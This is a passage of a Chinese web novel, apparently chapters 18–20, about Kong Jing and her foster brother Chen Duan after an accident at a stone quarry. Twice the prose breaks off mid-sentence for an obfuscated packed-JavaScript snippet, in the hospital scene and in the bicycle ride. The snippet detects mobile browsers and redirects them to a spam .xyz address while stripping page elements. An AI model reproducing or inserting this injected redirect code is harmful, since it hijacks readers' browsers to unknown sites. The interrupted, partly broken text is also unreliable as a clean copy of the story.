他脸色了无生气的冰白,瘦了的缘故,面部轮廓更为明显,五官因此相对放大一圈。 孔净有点惊奇,好像窥见一点他将来成年后变成年轻男人的模样。 不变的是他的眼睛,冷黑的色泽浸润在初秋的阳光里,眼神淡淡的,好像从不会因为任何人的到来、任何事的发生而引起任何动容。 “探病吗,你是他什么人?”护士倒推针管从药瓶里取药,一边朝孔净瞟来一眼。 “家、家属。”孔净说。 护士挑了下眉,“过来帮一下忙。” 他们长得一点不像,又是青春期少男少女,很容易让人想歪。 “哦,好。” 孔净没注意到护士的微表情,她左右看了下,把包放在床边桌上。 陈端整条左臂都打着石膏,蓝白病号服领口敞开两颗扣子,里面缠着绷带,冷白脖颈上有两道延伸至耳后的破皮已经结痂。护士让孔净把他右边衣袖挽起来,孔净绕到另一侧床边,弯腰照做。 病号服洗过很多次,摸着很薄,好像稍一用力就会坏掉,孔净动作很轻也很慢。护士站在她身后,一手举着针管,一手搭在治疗车上手指不耐烦地快速敲击,孔净听出来了,抿着唇加快速度。 陈端转过眼,静静看着她。 终于把衣袖平整挽至手肘以上,孔净动作一顿,护士耐心耗尽,“来来,家属让一让。” 孔净连忙往旁边站,视线却不受控地停留在陈端的手肘内侧。 那里青紫一片,是留置针和大小针头反复扎过留下的痕迹。 护士见怪不怪,快速往他手臂上扎了根橡皮压脉带,一手“啪啪”拍两下,另一手精准刺向血管,推针拔针,整个过程十秒不到。 “好了,来,家属帮忙按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247837|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,过两分钟不出血了再拿开。”护士丢掉针管,从治疗车上取一团消毒棉花,往陈端手臂上一按。 没等孔净接手,她就把车推走了。 “等一下……” 孔净伸手去按止血棉,陈端同时屈起胳膊,被孔净握住手腕制止了。 “我帮你。”孔净松松圈住他腕骨,可能是因为室内空调温度开得低,孔净感觉指节有点凉,以及,原来陈端看着瘦,骨骼却是大体量的那种,她不能完全圈住。 “有椅子。” 陈端忽然开口,声音比起刚才的虚飘,终于有点砂砾磨过的实感了。 “嗯。” 孔净余光扫一下,另一手将椅子扯到身后坐下。 气氛有点干,孔净垂眼盯着自己的手指以及隔着一团棉花的陈端的手臂。 “痛吗?”她问。 陈端说:“还好。” 孔净不信,眼皮撩起来看他。 陈端偏过脸,好像笑了一下,很淡,可以忽略不计的笑。 但孔净却因为他脸侧乍然一现的酒窝而松快下来。 “爸说,”孔净顿了下,“你手臂上的皮肉被石料刮掉了,刚从石料底下捞出来的时候连骨头都可以看见。” 怎么会不痛。 “我没看见,不知道。”陈端说。 孔净又看他,“你昏过去了,怎么可能看见。” “没印象。”陈端说,“比骨折好一点。” 孔净不喜欢他说起这则可怖事件时的无所谓态度,这让她想起那天陈端坐在石厝屋檐下说到死,一样的冷漠。 好像他真的期盼这个结局似的,孔净很反感。 她按着止血棉的手指不自觉往下压了压,陈端视线落在她脸上。 孔净不看他,指尖拈起止血棉,眼睛凑近了些,确定新鲜的细小针眼不会再往外冒血珠后,她侧身把止血棉丢进垃圾桶。 转过眼,陈端双唇微抿,目光停滞于病床半空。 “怎么了,哪里不舒服吗?”孔净心虚是不是自己刚才把他压痛了,毕竟他现在就是一个脆皮。 “……没。” 陈端隔了两秒才答。 说话时,右手臂轻轻往身体这侧靠了靠,手肘处皮肤被孔净呼吸扫过的感觉却并未因此消散。 “以后、别这样了。”孔净看着他,轻声说。 “哪样?”陈端仍旧看着虚空。 孔净抿了下唇,“不知道……我希望我们都好好的。” 这回陈端没应声了。 什么是好好的,从来没有人教过他。 赵长像个假人模特,被孔大勇和孔小琼一左一右又架了回来。 这半边病房也一瞬热闹起来。 赵长说出院以后要去蹦极,孔大勇问什么是蹦极,孔小琼说跳楼比蹦极来得更直接,反正结果都一样,说完又呸呸呸,板起脸让赵长以后最好不要这么皮,不然就拿根绳子栓他。 “成狗了我。”赵长说。 “你比狗都不如,人家狗起码知道哪里危险就躲得远远的!” 赵长沉默两秒,“汪汪……” 孔小琼又笑又拿他没办法。 他们进来之后,孔净起身把椅子让给了孔大勇,她挨在陈端的床尾,低头用指尖轻轻抠着床挡,不太能也不怎么愿意插进他们的谈笑里。 陈端也没说话,闭上眼睛像是睡着了。 “那两个孩子怎么样?张老板家的那个是不是该出院了?” 孔小琼突然转过身,问孔大勇。 “昨天就出院了,他命大,摩托车压成那样,人还只是擦伤。”孔大勇想抽烟,又怕在病房里引起公愤,一支烟夹在指间一直做着往嘴边送的动作,“但是另外那个情况不太好,进了几天重症监护室,身体倒是没什么大问题,精神……” “那么严重?”孔小琼再次后怕起来,没有预兆地伸手“啪”一下,“听到没有,以后给我老实点!” 赵长被亲妈一巴掌打在前额,他上半身一弹,“你打之前能不能给个信号?” 孔小琼管教他:“你们玩心也太重了,又是台风又是雷暴雨,怎么想到跑石料场去钻洞子?真的是狗啊!” 住院以来,赵长听了十几茬类似的话,耳朵都要起茧子。 孔小琼还是闹不明白,“你和端端啥时候认识的张老板的儿子,以前怎么没看你们一起出去玩过?” 赵长不说话,孔小琼转头,陈端在睡觉,于是,“孔净,你知道吗?” “啊?” 孔净忽然被提问,一抬眼,同时面对孔小琼和孔大勇两道目光质询,赵长在斜对面冲她打手势。 “……不知道。”孔净说。 她看见赵长对她竖起大拇指。 孔净的回答在孔小琼和孔大勇意料之中,因为谁都知道孔净文静,除了学习,其他时间基本都花在帮李贤梅做家务上,这种懂事在男孩子看来其实是无趣,两个弟弟有什么又怎么会和她讲。 孔小琼也只是有此一问,她实际上并没有质疑过赵长所说的当天事发经过:张老板的儿子张天胆大妄为,联合朋友把厂里的拖拉机开走,支开了厂里的工人。陈端和赵长并不知道是他们偷走了拖拉机,他们和张天认识,张天带朋友来石材厂玩,赵长和陈端陪着,没想到遇上台风和雷雨,石料倒塌,他们四个不幸中招。 所以,只是一场意外。 孔净对这个解释保持缄默。 但更让她觉得离奇的是,不止赵长这么说,张天和刚从重症监护室旅游一圈回来的杨皮——虾皮——也持同样口吻。 哪天,到底发生了什么? 她视线没有实重地移向正对面躺在床上的少年。 陈端一直闭着眼睛,这个时候突然抬起右臂搭在眉骨处,大半张脸被挡住。 孔净:…… 19. 第 19 章 孔净找准没人的时候私下问赵长。 赵长不太愿意讲,和面对大人时的插科打诨不同,他的表情混杂着惊悚和后怕。 耐不住孔净一再追问,赵长吞吐半天,突然问道:“姐,你知道鱼生吗?” “……什么?” “没什么,打个比喻,我觉得杨皮在陈端眼里就是一条鱼……”赵长咽了几下口水,瞳孔涣散,好像那天的场景再次在眼前上演,空气里满是被雨水冲淡的土腥气和血腥味,杨皮惊恐的惨叫和张天的呕吐声也犹在耳侧。 赵长说不下去,顿了好几秒,他才又开口道,“陈端真疯。” 这四个字不带任何中二口吻,是发自心底的陈述句。 孔净逼着自己不要去联想,却忍不住从心底蒸腾起寒意,“那石料坍塌又是怎么回事?” “这个真的是意外,木枕不稳。”赵长看着孔净,“姐,陈端跟那个叫杨皮的有仇吗?他为什么要下这么狠的手啊?” 孔净微微睁大眼睛,她并不知道那天杨皮给陈端发过短信,并且内容是以她为诱饵钓陈端去石料场。 赵长还在说着什么,孔净转过脸,去看旁边那张空着的病床,陈端不在,被孔小琼和孔大勇用轮椅推着去做检查了。 过了差不多大半个月,也就是九月下旬,陈端和赵长才相继出院。 这天是周末,孔大勇租了辆的士把陈端直接从市医院接回石厝。李贤梅依旧在忙厂里的事,但是给了超出平常的菜钱让孔净提前把饭做好。 孔净只在小卖店买了点时蔬,剩余的钱不够,自己又添了点,拿去给阿禾,让她帮忙在村里卖了只真正在田里散养的老鸭。 她煲了一锅野生菌菇老鸭汤,浮面的油小心用漏勺撇掉,浓郁香味连底下厂里的嬢嬢都能闻见。 孔大勇搀着陈端进屋,还没到午饭时间,他站在旁边抽了一支烟后就背着手去厂里找人吹牛去了。 孔净问陈端,“坐着会不会不舒服?要不要躺一下?” 不待陈端回答,孔净继续说:“床我已经挪好了,在你完全康复之前我睡上铺,你睡下铺。” 陈端转头,看见铁架床下铺蚊帐整齐用挂钩撩起,床上被褥叠成豆腐块堪比军训时期的样板床,黑白格子三件套很新,不是他以前睡的那套。 也是奇怪,陈端什么都没说,孔净却知道他在想什么。 她甩甩手,走到床边,说:“我那次去市里看你和赵长,回来路上顺道……嗯,专门买的。” 她两手都是手枪姿势一同指向床上的四件套,为了活跃气氛故意做出来的俏皮姿态,顿了顿,她笑着说:“出院礼物,欢迎回家。” 陈端目光似雪片一样落在孔净的脸上和她手指的地方,“谢谢。” 孔净本来还怕陈端不喜欢别人自作主张,但看他这样应该不是生气的样子,心里暗自松口气。 “要喝水吗?”孔净问。 陈端想说不用,孔净已经走到桌边拎起水壶,她转过身,走到陈端面前把手里的马克杯递给他。 陈端垂眼,视线顿了顿。 孔净拇指在马克杯杯缘轻轻一划,很自然地笑道:“本来想重新再给你买一个杯子的,但是我觉得还是这个更配你,缺口已经补上了,我向瓷砖厂嬢嬢要的材料,我手艺不好,摸起来还是有点不平,不过不影响使用。” 那个三角形缺口被孔净用树脂胶小心填补上,突发奇想,点涂成红色釉面,经过高温烧制蜕变成橘红,夏天晚霞的颜色。 她几句话略过修补过程,但实际上花了很多心思和工序。 陈端接过杯子,没有送到嘴边,右手端着,手肘搭在后面的桌沿上,他轻垂下眼,静静看着杯缘上那绚丽又渺小的一点。 “为什么要补?”他突然问。 “啊?旧的扔了怪可惜,我想你或许已经习惯用它了……”孔净又说,“我这回真不是抠门,如果你不想要它,我再给你买个新的。” 说着她就伸手去拿陈端手里的杯子,被陈端让开了。 “不用,这个挺好。” 陈端喝一口杯子里的水,舌尖有点甜。 孔净说:“是菊花茶,阿禾阿嬷给的,我加了一点蜂蜜。” 陈端点头,又将杯子送到嘴边,很慢很慢地喝着。 孔净轻歪了下头,看着他。 “你不高兴吗?还是说手臂还在痛,不舒服了?” 陈端摇头,抬眼,正要回答,瞥见窗外的人,他轻声说:“梅姨回来了。” 这是一个警告性质的提醒。 以前,他们都有默契——以孔净为主导的默契——要在人前特别是李贤梅面前保持距离。 陈端以为孔净会跟以前一样立即转过身,保持冷淡表情假装在做别的什么事。 可是孔净没有,她转头看一眼,点点头,没有刻意拉开和陈端之间的距离,而是很自然地冲已经走到门外的人喊了声,“妈。” 李贤梅站在檐下扶着门框脱掉脚上的胶鞋,一晃眼看见屋内两人一坐一站,距离挺近,顿了下,第一时间没有说什么,而是让孔净帮她把拖鞋拿来。 孔净把凉拖放到李贤梅面前,听见她问:“你爸呢?” “去厂里了。”孔净说。 李贤梅把换下来的胶鞋拿去简棚里简单刷了刷,放在屋檐下沥干,进屋,给自己倒了杯水,然后才一边喝一边看向陈端。 陈端左手臂还是整个缠着白色绷带,浅白色T恤显得有点大,底下的蓝色牛仔裤管也空空的,遭大罪,瘦得有点过了。 “在家休息一阵还是下周就去学校?”李贤梅的语调听起来比平时要软和一点。 陈端说:“下周就去。” 李贤梅点一下头,找不出话说了,拿手机准备打电话喊孔大勇回来吃午饭,视线随意一瞥,看见陈端手上的杯子。 这段时间陈端和孔大勇都不在,家里只她和孔净,她一边忙厂里的事,一边莫名在心里感到一丝病态的松快,孔净周末在屋里一坐就是一整天,埋头捣鼓些什么,她根本没注意。 这会儿看见了马克杯,联想到孔净放在桌上剩下的修补工具,李贤梅才知道这些天她在忙什么。 陈端食指挪移盖在那处橘红杯缘上,李贤梅去看孔净,“你专门补的?” 换做以往,孔净会沉默,会顾左右而言他,就算答案是肯定,只要她不当面承认,李贤梅或许能睁只眼闭只眼,不就地发作。 可是孔净点点头,“嗯。” 简简单单一个字,意味着当面背叛。 李贤梅盯着她,像是从来不认识这个女儿。 孔净没有闪躲,她抿了下唇,问道:“要我去厂里找爸回来吗?” “哪里敢指望你!” 李贤梅气息不稳,大步走出屋子。 她站在外面给孔大勇打电话,为了节省电话费以前都是连通之后就挂断,这回她一直打到孔大勇接为止,声音劈头响起,“家里的饭你吃不吃?不吃说一声,以后都不煮你的!” 她几乎从不主动对丈夫发起攻击,不论是语言还是行动上,她一贯是隐忍的、受害的。 那头,孔大勇不知接了句什么,李贤梅“啪”一下挂断,捏着手机掐腰站在檐下,脸色铁青铁青。 屋内,孔净利落又安静地把饭菜都端上桌,不小心把汤汁洒到桌上,她低头用抹布擦了又擦。 察觉落在自己身上的视线,她撩起眼皮,斜对面陈端握着杯子的指节微微收紧了一瞬,冷黑的眼睛在秋光的照耀下充满不解,与挣扎的温柔。 孔净对他笑了笑。 周一早晨,孔大勇要骑摩托车送陈端去学校,顺道也带上孔净。 “我自己骑车吧。”孔净是觉得摩托车后座坐两个人不方便,她怕自己一不小心就碰到陈端,弄疼他。 陈端也说不用,“一只手也可以骑车。” “那怎么行!”孔大勇瞪大眼睛,这次事故之后他对陈端的宝贝程度更胜从前,说是像护着眼珠子一样也不为过。 但陈端还是坚持。 孔大勇绷着脸,不让他走。 气氛就这么僵住。 李贤梅端着一碗稀粥站在门内,用一种讽刺的眼神看着这一幕。 孔净推着自己的自行车站在屋前,走也不是,不走也不是。 最后轻声提议道:“要不然我骑车载你,可以吗?” 话音落地,其余三人都转头看她。 孔净很平稳地说:“我骑慢一点,应该没事。” 屋内传来李贤梅摔碗的声音。 陈端蹙眉看着孔净。 孔净轻吸口气,然后笑着跟孔大勇保证,“陈端现在瘦了,我载他一点问题都没有。爸你放心。” 孔大勇显然不可能放心,但陈端就是不让他骑摩托车送又有什么办法。 不过他的确非常乐意看到孔净和陈端两姐弟相处融洽。 “骑慢点,注意看车。”他只好松口。 “好。” 孔净把车推到路边,自己先坐上去,等了几秒,见陈端没跟上来,就转头看他,“来呀。” 从石厝门口走到路边不过七八米,早晨的阳光干净柔和如同新生,孔净两手掌住龙头坐在前座,一只脚点地,另一只脚踩在踏板上,转头看过来的面孔边缘被光线晕染出毛边,她微微弯起嘴角,小猫一样的眼眸澄澈又坚定。 很短的距离,却好像走了很久,陈端慢慢走向孔净,身影一点一点被阳光照亮。 “坐好了吗?” “……嗯。” 车子在土路上有些颠簸,孔净把紧龙头小心避过肉眼可见的坑洼,尽管已经尽最大限度降低“震感”,孔净还是担心陈端一不小心就被颠下车。 “你要不要把一下呀?”她的意思是陈端不要两手都放空,没受伤的右手可以找个地方把住。 身后的少年没有应声,孔净心道不会睡着了吧?听说大病初愈的人说睡就睡…… 她两手放在车前叉上,还没使劲就感觉到一只手掌慢慢环上来,掌心扣在她腰际。 很细微的感觉。 因为隔着蓝白校服,并且那只手掌根本就没用任何力道,指腹和掌心只是象征性地悬空擦着她腰侧的校服。 “拜托,你要抓就抓牢一点啊。” 孔净干脆空出一只手,反手一握。 她的手覆在陈端的手掌上,往内一推,于是陈端的指节就由虚变实,没有任何缝隙真真正正扣住了孔净的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260820|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰。 孔净抽回手,继续往前骑。 经过下坡,骑到主路上,路面变得平坦,孔净放松了些。 “你最近话好少。”她说。 “本来话也不多。” 陈端终于应了声,视线低垂一直看着自己卡在身前人腰侧的右手,孔净的高马尾被风吹动,发梢轻扫过他的脖子,有点痒,但是他没动。 “是哦。”孔净笑道,“以后可以多说点呀。” “说什么?”陈端嗓音淡淡,声线带一点磁性。 “不知道。我问你什么,你别不回就行了。”孔净说。 这句陈端就不想回,但他过了两秒开腔问道:“哪句没回?” “啊,那可太多了!”关于这点,孔净觉得后座上的人可谓罄竹难书,“不过我现在一下想不起来,先放过你啦。” 陈端也不想接这句,但是才刚接受到孔净的控诉,他针对孔净的“放过”回了声,“谢谢。” 孔净笑起来,脚踩着踏板加速往前,路边一丛芭蕉叶露气未散,扫在胳膊上很清爽。 她突然心情很好,“你想过高中考哪里吗?” “没有。” 意料之中的答案。 “实验?我们一起。” 这回不用陈端说什么,孔净先否决了这个提议,“感觉不太可能,你成绩那么差。” 陈端:“……” 身后的人陷入短暂沉默,孔净不用回头也能猜到他温冷而无语的表情。 她忽然觉得逗陈端很好玩,于是忍不住笑出了声。 陈端听着她清凌凌的笑声,一时有点晃神。 他觉得自己很俗气,这只不过是一个再平常不过的早晨,但就是因为被孔净载了一程,天气不热不冷,阳光和熙,空气清新,他平静地想,原来活着也挺好。 只有活着才能感受到这些。 “高中就算了,大学一起怎么样?”前面又传来孔净轻快的嗓音。 “怎么一起?” 清晨的空气挤进胸腔,分明没有重量,却一点点净化沉压在那里的东西。 “去一个我们都喜欢的城市,在同一个学校念书,早晨如果我起不来你就帮我带早饭,晚上要是你想去操场打球我就去给你当拉拉队队长呀!”孔净说得理所当然。 陈端微微眯起眼睛,脑海里不由自主浮现孔净所描绘的场景。 “听起来还行。”他脸侧的酒窝出现了一点轮廓。 “不过你成绩那么烂……”孔净幽幽叹气。 “……” 绕不过这茬了。 “你想考哪里?大学。”陈端开口了。 孔净闻言在前面不动声色地抿住笑着,然后才很自然地回说:“还没想好,不过可以往北边城市考虑,我想去看雪,大学嘛最少也应该是个985……吧。” 额,有点心虚,海口一下夸大了。 她往后看一眼,很通情达理地改口道:“我们一起的话,考个211也行。” 身后传来一道笑声,很轻,约等于气音,但是精准表达了这道声音的主人是被气笑的。 孔净睁大眼睛,心说自己这道强心剂会不会太猛,……不会跳车吧? 孔净捏住车前刹,车子还没停稳就转过身。 陈端不妨,因为惯性身体前扑,鼻梁撞上孔净的后背,整张脸埋进蓝白校服,口鼻里全是女孩用过的洗衣皂留下的淡淡馨香,以及……一点别的什么香气。 孔净“啊”了一声。 陈端立即抬眼,“撞痛你了?” “不是啦,你手……”孔净确定他打着绷带的左手没有被碰到,松口气的同时不自觉扭了扭上半身,“好痒!你抓太紧了!” 陈端愣了一下,才发觉自己扣在她腰侧的右手因为紧张而发力,校服面料被他五指弄皱,掌心感到面料里面的柔软肌肤。 他像是被烫到,一下松开孔净,右手垂在身侧,修长食指在晨曦中不自觉轻颤。 孔净挠了挠腰上的肉,准备继续踩动踏板,又顿住,转头看向后座上的人。 陈端表情没什么变化,眼里微小的涌动因为克制而迅速消散。 “?”他也看孔净。 孔净颇为无语,“抓好。” “……嗯。” 自行车重新往前移动,陈端轻轻抬起右手,小心翼翼连他自己都没发觉,指节一点一点贴上女孩的校服,直至因为车子轻轻晃动掌心完全感受着校服面料的摩挲。 可他也只是贴合着孔净腰侧的校服,不敢再往前一寸。 但这已经够了。 他垂着眼,整张脸沉浸在孔净身后的光影里,两边的酒窝终究冲破藩篱,在晨光中释放。 “说好了,去北方看雪。”他忽然开口。 孔净一怔,随即纠正他:“拜托,明明说的是考同一所大学,看雪是顺带。” “意思差不多。” “哪里差不多,是差很多。” “我觉得差不多。” “……算了。”孔净决定不跟病号犟,“看雪就看雪。但是你要不要认真念一下书?每次看年级排名,再听阿禾提到你是我弟,啊,真的有点丢脸诶!” “……嗯。” 20. 第 20 章 初中最后一年孔净加足马力冲刺,陈端大幅度降低逃课频率,养伤的同时似有好好向学的迹象。 但因为差得太多,就算他再聪明也无法在短时间内把成绩拔高到和孔净同一梯队。 孔净本来已经不抱希望两人能上同一个高中,但是中考前夕,孔大勇突然在饭桌上宣布等孔净和陈端考完试就举家搬去临水镇——距离梅村几百公里、管辖权属于另一个市的石材厂聚集地。 并且,孔大勇已经提前托人去临水镇的清安高中打好关系,只待搬过去之后,孔净和陈端九月份直接入学。 据孔净所知,清安高中是普高,所以孔大勇口中的“花大价钱托人”可能就是让那边的石材厂老板帮忙给学校招生办老师送两条华子。 但无论普高还是重高,孔净和陈端必须入学是既定事实。 孔净从小见惯了孔大勇的霸|权主义,知道反抗没有意义,也就不做多余动作。 “会不开心吗?”陈端问孔净。 “有一点,但还好。” 孔净调解情绪的能力向来很强。 “只是一点吗?” “对啊!”孔净粲然道,“因为可以和你一起上一个高中呀!又没人规定普高的学生一定考不上好大学!我努努力,你也努努力,三年后还是可以一起上98……额,211嘛!” 陈端垂眼一笑,额发遮挡,黑眸里盛满温柔亮光。 他不关心上什么学校,抑或上不上学,但未来三年、七年甚至更久,能和孔净待在一起,光是听起来就很美好。 尽管孔大勇说中考成绩已经不重要,但孔净还是监督陈端一起按时参加考试、认认真真答题。 他们考完没多久,李贤梅就开始收拾东西,石厝被翻了个底朝天,在这里住了八九年,沉积下来不少舍不得丢但实际没什么用的破铜烂铁,孔净帮着把东西归类,每拿一件就问一句,“这个还要吗?” 李贤梅坐在小山似的行李堆里,抬头看一眼,“怎么不要?等要用的时候你拿钱买啊?……算了,扔了……” 孔大勇早晨就找理由溜去别处躲清闲了,孔净把李贤梅说不要的东西单独放一边,陈端在外面拆自行车,到时候好放在货车厢里一起带走。 为了方便干活,他只穿了件白色工字背心配黑色休闲短裤,蹲在地上拆零件时阳光从旁边黄葛树漏下来照在他身上。 经过快一年的修养,陈端相比去年刚出事那会儿要高也要精壮一些,五官轮廓更为清晰出挑。 清理出来的不要的东西在旁边码成一堆,有些碍事,孔净正准备把它们搬出去,陈端就从外面进来了。 孔净什么也没说,他也没问,俯身利落把东西塞进一条破了洞的大号蛇皮口袋里,拎着就又出去了。 孔净仍旧坐在屋子里,微抬一下眼,从成堆的旧物件和门洞中看见陈端拎着那条好几十斤的口袋像拎随便一个什么东西似的,脚步轻快,两趟就移走一座孔净眼中的“大山”。 李贤梅一忙起来火气就大,本想挑刺说几句,但见陈端默不作声只埋头帮忙干活,背心前后两块都被汗湿了也不停下来歇一会,她眉头紧皱,想到有人帮着干总比她一个人累死的好,于是眼不见心不烦地转了个方向。 傍晚时分,所有东西都收拾完,要带走的封箱装袋,不要的就打电话让收废品的用三轮车拉走。 孔大勇像是有生物雷达,家里的大工程刚结束,他就背着手哼着小曲儿回来了,“你们还利索嘛!这么快就弄完了!” 李贤梅坐在老式电风扇下连个眼皮都没抬,孔大勇嘿嘿笑道:“今天大家都辛苦了,晚上我请客下馆子!” 仍旧是从小卖店买的硬菜,四菜一汤,还有一箱啤酒饮料。 这晚气氛意外和谐,尽管孔大勇还是口若悬河、牛皮吹破天,李贤梅也还是偶尔阴阳怪气,但他们谈笑着,从早前为了讨生活不得不背井离乡在甘肃第一次进厂,说到后来辗转来到闽城,李贤梅在瓷砖厂烧窑、孔大勇在石材厂从磨工做起,再到后来因缘际会承包了石材厂…… 种种辛酸苦辣都是生活滋味,虽然不如意之事十有八||九,但他们还是携手一起走过了快二十年光阴。 孔大勇说到兴奋处,笑嘻嘻地喊:“儿砸,过来陪老爸喝一个!” 李贤梅也喝了半瓶啤酒,她酒量不好,这会儿已经有点晕了,一手撑着额角,听见孔大勇的话只是朝斜对面的少年背影看了一眼,脸上的敌意并不比平时多。 孔净和陈端已经吃完了,两人围着旁边的红色理石桌正在玩飞行棋,骰子是今天收拾东西从角落里扒拉出来的旧物件,棋盘是陈端用两张A4纸现画的,棋子则用孔净以前去河边捡来的小石子代替,孔净喜欢亮色,就把棋子也涂成彩色,陈端爱好简明的风格,就打算用裸石当棋子。 “太寡淡了啦。”孔净帮他把四个小石子涂成颜色不一的墨黑、靛蓝、烟蓝和纯白。 同那几颗桃红棋子一起卧在她掌心里,被她抛起又握住,陈端一时分不清色彩斑斓的到底是她手中的石子,还是她具有魔力的纤长手指。 听见孔大勇的声音,孔净用抓着石子的手叩了叩桌面,“爸叫你。” 陈端回神,应了声,然后起身去那边桌。 过了会回来。 少年身影挡住顶上的老式灯泡发出的白光,孔净闻到淡淡的酒味,她倾身隔着桌面小声问说:“未成年人可以喝酒吗?” 她说话时微微歪着头,一侧的长发就从她肩头滑落,扫到桌上的棋盘。 眼皮上撩,黑白分明的眼睛被细碎灯光点缀,从陈端的角度看来,柔和又轻盈。 陈端从孔净的眼眸里看见自己的倒影,他轻抿一下唇,轻声说:“没喝酒。” 孔净:“?” “喝的小麦饮料。” “……”孔净说,“所以我们晚饭吃的也不是牛肉,而是头上长了犄角并且会哞哞叫的猪?” 陈端轻柔一笑,“差不多。” 孔净无语,握着骰子在嘴边吹了口气,然后一掷,“是六!” 开门红,运气不要太好,她挪动“停机坪”上的其中一颗桃红棋子,走了六格之后,再次掷骰子,这次是一。 又一颗亮黄棋子跳出了“停机坪”。 轮到陈端,他摩挲着因为太旧边缘棱角都磨成弧线的骰子,正要抛出去,一只纤白手掌忽然伸过来,盖在他手背上。 孔净眼睛晶亮,“等会去石坑。” 她怕说话声被孔大勇和李贤梅听见,胸口压着桌沿几乎整个上半身都伏低在桌面上,黑长的头发像绸缎一样铺陈,发尾被风扇吹着有一下没一下地擦过陈端搭在桌上的手臂。 陈端觉得有点晕,眼前的景象变得迷离。 一只手被孔净无意识一直抓着,另一手手掌一翻,指尖似有若无,像是捏住了但其实并没有真的接触地圈住几缕发丝。 “去干什么?”他轻声问。 孔净眨眨眼,不答反问:“去不去?” “去。” 陈端觉得不光是石坑,其实无论孔净叫他去哪儿,他都会说,去。 夜风沁凉,但也可能是做贼心虚的缘故,孔净猫腰在黑暗中绕过这里一堆那里一箱的行李时,浑身燥热,心里直打鼓,生怕碰掉什么东西惊醒已经熟睡的孔大勇和李贤梅。 陈端在前面打头阵,已经轻手轻脚开了挂锁将铁门拉开。 点子是孔净提的,先慌的人也是她,她蹲在后面两手不停地用指尖去挠陈端,催促他动作再快点。 月光从檐下滑落,陈端抿紧双唇,忍着后腰传来的痒意,肩膀一偏,整个人似游鱼般从门缝溜了出去。 孔净如法炮制,紧随其后。 出了门也还是不敢出声,两个身影踮着脚尖顺着后面的瓷砖厂厂房跑出好长一段路后,才敢降下速度。 孔净拍拍胸口,往后看一眼,黑黢黢的厂房投下浓黑阴影,耸立的烟囱影子被拉长,碾过石厝,倒向不远处已经熄灯沉睡的石材厂。 孔净一颗心仍咚咚跳个不停,很兴奋。 转过脸,一束蓝白色光柱从陈端手中的电筒照在她的脚下。 “怕吗?”被小麦饮料浸润过的嗓子就是不一样,陈端的声音在清爽中带一点颗粒感,轻轻磨过孔净的耳道,在这样静谧的夜晚尤其好听。 “不怕啊。”孔净说,“该你怕才对。” “为什么?” “因为我比你大,我是姐姐啊。” 孔净说得理所当然,其中当然有逗笑的成分。 这句陈端没应了。 孔净反而来劲,“你叫一声姐姐我听听。” 陈端不叫,看都没看孔净一眼。 孔净又挠他,“没礼貌!” 陈端任由孔净挠。 两人在光柱的引领下踩着石子路朝林子里进发,密林遮蔽光线,整个空间变得很小又很辽阔,冥寐中传来悠远的虫鸣和鸟叫声。 孔净不自觉往陈端这侧靠了靠,两人穿着短袖的胳膊偶尔摩擦一下,温热的触感让孔净好受些了。 陈端抿紧唇,隔了半晌忽然说:“不是说是姐姐,所以不怕?” “谁说我怕!”孔净抱着胳膊的手立刻放下来,人也朝旁边让开一大……一小步。 刚才还贴在一起的手臂突然拉开距离,凉风一下吹散那微弱的热度。 陈端微微一怔,后悔刚才那句,想说点什么,旁边孔净突然“哇”了一声,指着前面说:“今晚的月亮原来这么圆,这么亮!” 原本遮天蔽日的密林忽地在前面的岔道被一只无形的手拂开,一轮圆月高挂中天,月光轻薄白纱般温柔流泻。 “走啦,快点!”孔净拽着陈端往前跑,没跑几步,被月光照亮的巨石坑忽地浮现在眼前。 正是盛夏时节,坑底长满了各种植物,崖壁上也错落生出花草,在月色的拂照下形成深浅、形状不一的影子,在深夜的林风中曼舞。 这景象美妙又奇诡,孔净趴在石坑边忽然打了个摆子,好像看久了就会不自觉被石坑吸进去似的。 察觉到孔净真的害怕了,陈端反而不再拿话激她。 他轻轻晃动手电,蓝白色光柱在低一级的石阶上描涂出看不见的画作。 他说:“坐一会就回去。” “不要。”孔净坚持,“都到这里了,说好了要下去。” 明天一早就走了,谁知道以后还会不会再回来。 陈端忽然转过脸,“你相信我吗?” 孔净在月色中和他对视,虽然不知道他为什么突然这样问,但还是肯定道,“当然。” 陈端弯了下唇,两侧的酒窝在脸上投下阴影,他说:“跟着我,我会接住你。” 这个巨石坑在过去的六年间陈端曾无数次上下,因此从哪里下去、到哪里该踩哪一个石阶、两个石阶之间相差高度有多少,他都了如指掌。 他咬着手电,身手矫健地往下一跃,每一次在孔净看来都像是纵身跳向深渊。 但每一次,陈端都稳稳落在石阶上,然后在月色中转身朝她伸来双臂,告诉她,“别怕,我接住你。” 最开始的两次,孔净两条小腿都在发抖,闭上眼睛心一横就跳了,风刃擦过耳际撩起长发,身体随之失重,她几乎要惊叫出声。 但只在零点零几秒之后,她就感到被一双修长而结实的手臂托住,少年的手掌贴着她两侧肋骨,既不会叫她吃痛也不会让她悬空。 后来孔净胆子逐渐变大,甚至觉得刺激好玩。 最后落地的那次,还张开双臂做了个展翅的动作,然后轻盈往下一扑,同底下的人抱了个满怀。 很短暂的拥抱,孔净很快推开少年,取过手电,好奇地打量四周。 